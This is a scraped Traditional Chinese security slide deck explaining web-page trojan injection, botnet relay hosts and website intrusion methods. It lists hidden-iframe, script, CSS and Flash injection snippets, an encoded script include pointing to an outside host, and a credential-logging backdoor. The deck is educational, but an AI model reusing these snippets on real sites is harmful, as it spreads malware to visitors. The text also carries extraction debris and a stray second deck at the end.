無投影片標題

Size: px

Start display at page:

Download "無投影片標題"

迢土贾
5 years ago
Views:

1 網路入侵攻擊實錄中小馬被掛馬潘朵拉 no-name

2 大綱瀏覽網站中小馬 --- 使用者網站被掛馬畫面 ( 未公布資訊 ) 中木馬 - 天知地知就是我不知看網站有那麼嚴重嗎?(Blog_Clickjacking& 影音網馬 ) 網站入侵掛馬實錄 --- 伺服器網站洩露多少重要資訊! 使用開發套件網站安全嗎? 網站入侵實戰!( 入侵網站後台系統 ) 躲在後面的神密客 --- 駭客 Botnet Botnet 掛馬跳板主機入侵 Botnet 主機 (Botnet 主機入侵過程手法 ) 打開潘朵拉的盒子 (Botnet 主機資訊 )

3 使用者個資被植入後門程式側錄密碼被當成散播木馬平台 No-name 殭屍主機!! ( 駭客分身術 ) 網站伺服器 Botnet 駭客

4 瀏覽網站中小馬網站被掛馬畫面 ( 未公布資訊 ) 中木馬 - 天知地知就是我不知看網站有那麼嚴重嗎?(Blog_Clickjacking& 影音網馬 )

5 受駭網站名單被公告的受駭網站在上面, 那沒有被公告的網站呢????

7 中木馬 - 天知地知就是我不知找尋漏洞入侵掛馬 <script src= 駭客 Port:80 Internet 網站伺服器資料庫檔案 F/W 使用者瀏覽資訊網拍登入帳號使用者點選網馬過程完全沒有感覺!! 即受駭下載木馬

8 常見網頁掛馬語法 Iframe 的網馬 : <iframe src= width=0 height=0></iframe> JScript 的網馬 : 設計 xxx.js 檔案程式如下 : 然後將此檔案利用任何方式上傳至目標主機 document.write("<iframe width='0' height='0' src=' '></iframe>"); JScript 掛馬的語法為 : <script language=javascript src=xxx.js></script> JScript 變型加密的網馬 : <SCRIPT language= JScript.Encode src= muma.txt 可改成任何附檔名 body 的網馬 : <body onload="window.location=' ';"></body> 隱藏的網馬 : top.document.body.innerhtml = top.document.body.innerhtml + '\r\n<iframe src="

9 常見網頁掛馬語法 (cont.) CSS 的網馬 : 先將製作好的 muma.js 先利用各種方式上傳至目標處 body { background-image: url('javascript:document.write("<script src= JAVA 的網馬 : <SCRIPT language=javascript> window.open (" menubar=no,scro llbars=no,width=1,height=1"); </script> 圖片偽裝網馬 : <html> <iframe src=" " height=0 width=0></iframe> <img src=" </html> 編碼轉換網馬 : ascii 編碼轉換 <script src=

10 常見網頁掛馬語法 (cont.) 偽裝呼叫網馬 : <frameset rows="444,0" cols="*"> <frame src=" 開啟的網頁 " framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"> <frame src=" " frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"> </frameset> 欺騙超連結網址手法 : <a href=" 迷惑他人超連結網址, 故意顯示這個網址卻連向木馬網址 )" onmouseover="www_163_com(); return true;"> 網頁要顯示的內容 </a> <SCRIPT Language="JavaScript"> function www_xyz_com () { var url=" 真正連的網頁木馬網址 "; open(url,"newwindow","toolbar=no,location=no,directories=no,status=no,me nubar=no,scrollbars=no,r esizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); } </SCRIPT>

11 閃很大的 Flash 網馬

12 閃很大的 Flash 網馬 ( 續 ) GG.SWF 源碼 ( 片段 ) try{var l; var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVari able("$version");} catch(l){}; finally{if(l!="[object Error]"){ if(flashver.indexof("9,0,16,")>0 Flashver.indexOf("9,0,28,") >0 Flashver.indexOf("9,0,45,")>0 Flashver.indexOf("9,0,47, ")>0 Flashver.indexOf("9,0,64,")>0 Flashver.indexOf("9,0,1 15,")>0){ document.write('<iframe style=display:none src=" ></iframe>');} }}

13 閃很大的 Flash 網馬 ( 續 ) 最後的大頭目惡意程式 OFFICE_0DAY

14 User 帳號密碼有心人事

15 看網站有那麼嚴重嗎? 1.BlogClickjacking 2. 影音網馬

16 網站入侵掛馬實錄網站洩露多少重要資訊! 使用開發套件網站安全嗎? 網站入侵實戰!( 入侵網站後台系統 )

17 網站洩露多少重要資訊! 網站上存在資訊, 惡意有心收集資訊, 可以得知網站上相關訊息, 並進一步可以入侵系統攻擊方式是利用開發人員所留下來的訊息或程式中開發人員為了管理方便寫入注解息訊進行攻擊入侵系統

18 入侵環境條件可讓使用者在網站上找尋到相關資訊如註解程式結構網站結構參數名稱變數名稱對應實際路經等資訊網站上提供資訊

19 入侵手法分析遠端惡意使用者可透過正常之網頁瀏覽之行為, 收集網站相關公開資訊進而判斷網站結構程式撰寫邏輯進而分析網站漏洞入侵網站網站提供注解資訊範例 :

20 入侵攻擊流程第三步網站上相關資訊, 注解網站原始碼檔案存取路徑等第二步 Internet 駭客正常瀏覽網站, 從網站上公開資訊, 得知網站開發資訊第一步駭客

21 入侵攻擊流程 (cont.) 網站上相關資訊, 注解網站原始碼檔案存取路徑等第二步第一步研究分析所得網站資訊駭客可從資訊中進行研究分析, 並可得知網站整體架構資料庫存放路徑程式開發來源等資訊, 進而進行入侵網站駭客

22 使用開發套件網站安全嗎? 網路套件即已經開發好的元件, 提供開發者免費使用攻擊方式是利用網路套件存在開發的漏洞 (0_day), 或程式中開發人員為了管理方便寫入程式進行攻擊入侵系統網路套件主要是開發者可能自己方便寫入後台管理程式, 或是開發安全性設計不當進入有許多的安全性漏洞

23 入侵環境條件網路購買套件或是免費下載套件原始碼, 並非自行開發之程式, 而是大家都可以取得的原始碼網路上提供程式開發者研究套件原始碼

24 入侵手法分析惡意遠端使用者可以從網站提供訊息, 了解網站上存有那種套件資訊, 進一步了解網站組成結構, 並可到網路搜尋套件資訊, 下載其套件進行分析 (0_day) 找尋出可能入侵的漏洞網站提供套件資訊範例 : 注 : 以上範例可以了解此網站是 Discuz! 所架構套件

25 入侵攻擊流程第三步第四步第二步 Internet 駭客正常瀏覽網站, 從網站上公開資訊, 得知網站所使用那些套件第一步駭客

26 入侵攻擊流程 (cont.) 研究分析套件第三步程式開發漏洞 (0_Day) 程式存在後門第四步第二步第一步駭客下載原始套件進行研究分析, 並可從套件中得知網站整體架構資料庫存放路徑程式中尚未修補漏洞開發者留存後門指令等駭客

28 網站入侵實戰! 1. 入侵網站系統 2. 套件入侵系統

29 躲在後面的神密客 Botnet 掛馬跳板主機入侵 Botnet 主機 (Botnet 主機入侵過程手法 ) 打開潘朵拉的盒子 (Botnet 主機資訊 )

30 Botnet 掛馬跳板主機 <script src=

31 Botnet 掛馬跳板主機 (cont.) 下載 xxxo1.cn 檔案

Botnet 掛馬跳板主機 (cont.) 1. <script src= http://%77%76%67%33%2e%63 %6E></script> 2.

32 Botnet 掛馬跳板主機 (cont.) 1. <script src= %6E></script> 2. 轉換 <script src= 3. 實際下載 Botnet 位置

33 Botnet 掛馬跳板主機 (cont.) 實際下載 Botnet 位置最終目的下載

34 Botnet 掛馬跳板主機 (cont.) 網頁被插入網馬連結代碼 : <script src= 掛馬分析 : [body] [Jscript] [iframe] [iframe] [iframe] [iframe] [iframe] [iframe] [iframe] [Jscript] [Jscript] [Jscript] [Jscript] 最終目的下載檔案 : 透過執行上例程式, 來達到完全控制的目的 ( 豬流感 H1N1 病毒 )

35 Botnet 掛馬跳板主機 (cont.) windoss.css 內會下載 aa35.exe 後門程式執行是偽裝 svchost.exe 程式並會開啟 port 1090 使用側錄帳號密碼

<4D F736F F F696E74202D20B2C43033B3F55FA4ECB0A8A44AAB49A46AB4A6AFB5B2C43032B6B05FBAEBB5D8AAA95FC1BFB8712E BACDBAE65BCD2A

<4D F736F F F696E74202D20B2C43033B3F55FA4ECB0A8A44AAB49A46AB4A6AFB5B2C43032B6B05FBAEBB5D8AAA95FC1BFB8712E BACDBAE65BCD2A 網路攻防戰之木馬入侵大揭秘 II ( 精華版 ) 注意事項部份簡報為節省版面, 請點選各張簡報標註之超連結自行參閱本場次的 Demo 示範因場地之限 Demo 時無法再將字形及畫面放大, 想要抄筆記的同學請盡量往前坐本場次示範之手法為避免煽惑他人犯罪, 部分破壞性資訊例如 : 關鍵參數語法已做相關隱藏處理本場次示範所使用之惡意軟體受限於相關法律規定請勿索取 1 大綱攻擊第一招 : 木馬產生術